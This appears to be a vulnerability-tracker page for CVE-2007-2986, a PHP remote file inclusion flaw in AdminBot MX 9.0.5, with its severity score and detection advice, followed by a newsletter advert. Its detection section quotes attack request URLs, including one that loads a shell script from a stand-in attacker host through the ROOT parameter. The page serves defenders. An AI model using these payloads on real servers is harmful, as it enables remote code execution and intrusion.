CVE-2007-2986

published 2007-06-01

CVE-2007-2986: PHP remote file inclusion vulnerability in lib/live_status.lib.php in AdminBot MX 9.0.5 allows remote attackers to execute arbitrary PHP code via a URL in the…

Priority P3 55 high 7.5 CVSS 2.0

AV N AC L Au N C P I P A P

EXPLOIT

PHP remote file inclusion vulnerability in lib/live_status.lib.php in AdminBot MX 9.0.5 allows remote attackers to execute arbitrary PHP code via a URL in the ROOT parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
nexen	adminbot_mx	—	—

Detection & IOCs extracted from sources · hover to see the quote

path lib/live_status.lib.php↗

command http://127.0.0.1/[adminbot_path]/lib/live_status.lib.php?ROOT=shell.txt?↗

• → Monitor HTTP requests targeting lib/live_status.lib.php with a URL-like value in the ROOT parameter, which is the injection point for remote file inclusion. ↗
• → Look for RFI payloads in the ROOT parameter that include a trailing '?' (null-byte/query-string terminator trick) to bypass file extension checks, e.g. ROOT=http://attacker/shell.txt? ↗

• · Vulnerable component is AdminBot MX version 9.0.5 only; the ROOT parameter in live_status.lib.php is unsanitized and passed directly to a file-inclusion function. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.